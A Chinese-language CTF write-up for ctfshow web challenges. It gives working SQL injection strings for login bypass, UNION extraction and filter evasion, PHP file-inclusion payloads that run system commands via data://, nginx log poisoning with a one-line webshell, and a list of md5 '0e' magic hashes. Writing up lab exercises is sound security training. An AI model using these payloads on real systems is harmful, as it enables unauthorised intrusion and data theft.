0x01前言

因为这里的题有些也是比较简单的,所以这里的知识点和做法不会讲述特别多,不会的可以直接看其他文章的题目有写的很详细的

0x02题目

web签到题

查看源代码然后拿去进行base64编码就可以拿到flag了

web2

最简单的sql注入

image-20241204212546700

进来是一个,页面源代码也没什么可用的信息,那我们就测试一下

先用永真语句打一下

1
username=1' or '1' ='1'--+&password=1

image-20241204214741542

可以看到登录成功了,那我们就拿ctfshow作为账号去打一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
判断字段数
password=1&username=ctfshow' order by 3--+回显成功
password=1&username=ctfshow' order by 4--+回显失败
证明是三个字段
判断回显位置
password=1&username=ctfshow' union select 1,2,3--+发现2出现在了页面中,那我们用2作为回显位置去注入
爆破数据库
password=1&username=ctfshow' union select 1,database(),3--+数据库名为web2
爆破表名
password=1&username=ctfshow' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='web2'),3--+有flag和user两个表
爆破flag表中字段
password=1&username=ctfshow' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='flag'),3--+
爆破字段中数据
password=1&username=ctfshow' union select 1,(select flag from web2.flag),3--+

image-20241204215434905

成功拿到flag!

web3

更简单的web题

image-20241204215643879

include文件包含

直接用伪协议做试一下

1
?url=php://filter/read=convert.base64-encode/resource=flag.php

但是没什么,应该是文件名不对

那我们用data伪协议去做

1
data://text/plain,<?php system('ls');?>

image-20241204220259354

读取文件

1
data://text/plain,<?php system('tac ctf_go_go_go');?>

成功拿到flag

这里也可以用input伪协议去做,url传入php://input,然后抓包用post传入命令或一句话木马

或者也可以用日志注入,方法有很多,就不赘述了

web4

image-20241204220645090

和上一题一样的页面,我们先测试一下刚刚的方法能不能做

好吧页面没反应,应该是过滤了,我们试试input,发现出现了error

image-20241204221123622

那就试一下日志注入吧

先看一下服务器的版本

image-20241204221222472

是nginx,那就访问nginx下的access.log,url传参

1
?url=/var/log/nginx/access.log

image-20241204221258839

在UA头传入一句话木马

image-20241204221511113

然后访问并用蚁剑连接

image-20241204221552019

然后在里面找flag就可以了

web5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
ctf.show_web5
where is flag?
<?php
error_reporting(0);

?>
<html lang="zh-CN">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

</body>
</html>

我们只看里面的php代码就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

代码分析:

ctype_alpha($v1)

在PHP中,ctype_alpha($v1) 函数用于检查字符串 $v1 是否只包含字母字符。如果字符串中的所有字符都是字母(A-Z和a-z),则函数返回 true,否则返回 false

is_numeric($v2)

在 PHP 中,is_numeric($v2) 函数用于检查变量 $v2 的值是否为一个数字或数字字符串。如果 $v2 是一个数字,包括整数或浮点数,或者是表示数字的字符串(比如 "123""3.14"),则函数返回 true;否则返回 false

这里的话就是绕过md5验证,要求v1为为字母,v2为数字,并且v1与v2的md5值相同。
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0
所以只要v1与v2的md5值以0E开头即可。

v1=QNKCDZO&v2=240610708

这两个的md5值都是0e开头,所以他们的md5值相等

开头为0E(MD5值碰撞)

字母数字混合类型:

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

纯大写字母:

QLTHNDT

0e405967825401955372549139051580

QNKCDZO

0e830400451993494058024219903391

EEIZDOI

0e782601363539291779881938479162

纯数字:

240610708

0e462097431906509019562988736854

4011627063
0e485805687034439905938362701775

4775635065
0e998212089946640967599450361168

4790555361
0e643442214660994430134492464512

5432453531
0e512318699085881630861890526097

5579679820
0e877622011730221803461740184915

5585393579
0e664357355382305805992765337023

6376552501
0e165886706997482187870215578015

7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502

7656486157

0e451569119711843337267091732412

web6

image-20241204222916746

是跟前面一样的登录界面

测试一下发现好像有过滤

image-20241204223406033

出现一个sql注入错误,看看过滤了什么

测试后发现过滤了空格,用内联注释绕过

然后发现过滤了–+注释符号,我们换成#

1
username=1'/**/or/**/'1'='1'#&password=1

image-20241204224151511

这下可以了

1
2
3
4
5
6
7
8
9
10
11
12
判断字段数
username=ctfshow'/**/order/**/by/**/3#&password=1字段数为3
判断回显位置
username=ctfshow'/**/union/**/select/**/1,2,3#&password=1还是一样2出现回显
爆破数据库
username=ctfshow'/**/union/**/select/**/1,database(),3#&password=1数据库为web2
爆破表名
username=ctfshow'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web2'),3#&password=1出现flag和user表
查询flag表下字段
username=ctfshow'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),3#&password=1出现flag字段
爆flag数据
username=ctfshow'/**/union/**/select/**/1,(select/**/flag/**/from/**/web2.flag),3#&password=1

成功拿到flag

web7